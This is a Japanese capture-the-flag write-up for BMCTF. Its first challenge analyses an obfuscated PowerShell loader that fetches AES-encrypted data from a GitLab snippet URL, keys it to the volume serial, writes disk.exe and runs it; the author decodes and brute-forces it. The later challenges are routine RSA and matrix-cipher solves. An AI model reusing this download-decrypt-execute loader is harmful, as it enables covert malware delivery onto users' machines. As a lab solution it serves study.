eQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAGQAaQBzAGsALgBlAHgAZQA= | base64 -d $m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw==')));$ed=[System.Convert]::FromBase64String($m);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline;.\disk.exe
PowerShellのコードを読みやすいよう整形する。
$m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw=='))); $ed=[System.Convert]::FromBase64String($m); $maes=new-object "System.Security.Cryptography.AesManaged"; $maes.IV=$ed[0..15]; $maes.Mode=[System.Security.Cryptography.CipherMode]::CBC; $maes.KeySize=256; $maes.BlockSize=128; $maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim())); $dc=$maes.CreateDecryptor(); $dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16); Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline; .\disk.exe
最初の行のbase64文字列をデコードする。
$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw== | base64 -d https://gitlab.com/-/snippets/4867494/raw/main/disk.enc
このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。
$ wget https://gitlab.com/-/snippets/4867494/raw/main/disk.enc --2025-06-29 10:56:27-- https://gitlab.com/-/snippets/4867494/raw/main/disk.enc Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9 Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 192365 (188K) [text/plain] Saving to: ‘disk.enc’ disk.enc 100%[=====================================================================================================================>] 187.86K --.-KB/s in 0.06s 2025-06-29 10:56:28 (2.84 MB/s) - ‘disk.enc’ saved [192365/192365]
disk.encをbase64デコードすると、AESの暗号データになっていることがわかる。keyはボリューム番号のsha256ダイジェストで不明なため、ブルートフォースでMZから始まるものを探す。
あまりにも時間がかかりそうなので、Hint (Cost: 0 points)を開けると以下のように書いてある。
AXXX-BXXX
これで範囲を狭めることができる。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from base64 import * from hashlib import * from struct import * with open('disk.enc', 'r') as f: enc = b64decode(f.read()) iv = enc[:16] ct = enc[16:] for k in range(2**24): h = hex(k)[2:].zfill(6).upper() vol = 'A%s-B%s' % (h[:3], h[3:]) key = sha256(vol.encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct) offset = unpack('<I', pt[0x3c:0x40])[0] if pt[:2] == b'MZ' and pt[offset:offset+4] == b'PE\x00\x00': print('[+] Volume Number:', vol) pt = unpad(pt, 16) with open('disk.exe', 'wb') as f: f.write(pt) break
実行結果は以下の通り。
[+] Volume Number: AC91-B008
復元したdisk.exeを実行する。
>disk.exe
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}
Too Small I Guess (Crypto)
N = 228337825920501024345892620188308555741 * 249647001095058483196231850349361480039
あとは通常通り復号する。
#!/usr/bin/e nv python3 from Crypto.Util.number import * with open('values.txt', 'r') as f: params = f.read().splitlines() N = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) e = int(params[2].split(' ')[-1]) p = 228337825920501024345892620188308555741 q = 249647001095058483196231850349361480039 assert p * q == N phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, N) flag = long_to_bytes(m).decode() print(flag)
BMCTF{S1z3_Matt3r5}
Trixie Prixie (Crypto)
暗号化処理の概要は以下の通り。
・key = generate_valid_matrix() ・以下繰り返し ・mat: 0以上256以下のランダム整数からなる4×4の行列 ・modを256として、matが逆行列を持ち、matを反時計回りに90度回転した行列が逆行列を持つ場合、matを返却 ・fake_key: keyを反時計回りに90度回転した行列 ・cipher = encrypt_message(flag, key) ・message_bytes: flagの各文字のASCIIコードの配列 ・message_bytesの長さが4で割り切れるまで0を追加 ・encrypted = [] ・message_bytesを4バイトごとにblockにして以下を実行 ・block: blockの各文字のASCIIコードの配列 ・enc_block = key * block % 256 ・encryptedにenc_blockを追加 ・encryptedをバイト文字列化して返却 ・cipher_b64: cipherをbase64エンコードしたもの ・cipher_b64をcipher.txtに書き込み ・fake_keyをkey.npyに書き込み
keyはfake_keyを270度回転すればよい。
平文の配列をP、暗号化した配列をCとすれば、以下のようになる。
key * P = C P = inverse(key) * C
このことを使って逆算すれば、フラグがわかる。
#!/usr/bin/env python3 import numpy as np import base64 import sympy def inverse_matrix(matrix, mod): sym_mat = sympy.Matrix(matrix.tolist()) return np.array(sym_mat.inv_mod(mod)) def decrypt_message(cipher, inverse_key, block_size=4): cipher_bytes = list(cipher) decrypted = [] for i in range(0, len(cipher_bytes), block_size): block = np.array(cipher_bytes[i:i+block_size]) dec_block = inverse_key @ block % 256 decrypted.extend(dec_block) while True: if decrypted[-1] == 0: decrypted = decrypted[:-1] else: break return bytes(decrypted) fake_key = np.load('key.npy') key = np.rot90(fake_key, k=-1) inverse_key = inverse_matrix(key, 256) with open('cipher.txt', 'r') as f: cipher_b64 = f.read() cipher = base64.b64decode(cipher_b64) flag = decrypt_message(cipher, inverse_key).decode() print(flag)
BMCTF{Matrixie_crypt10n}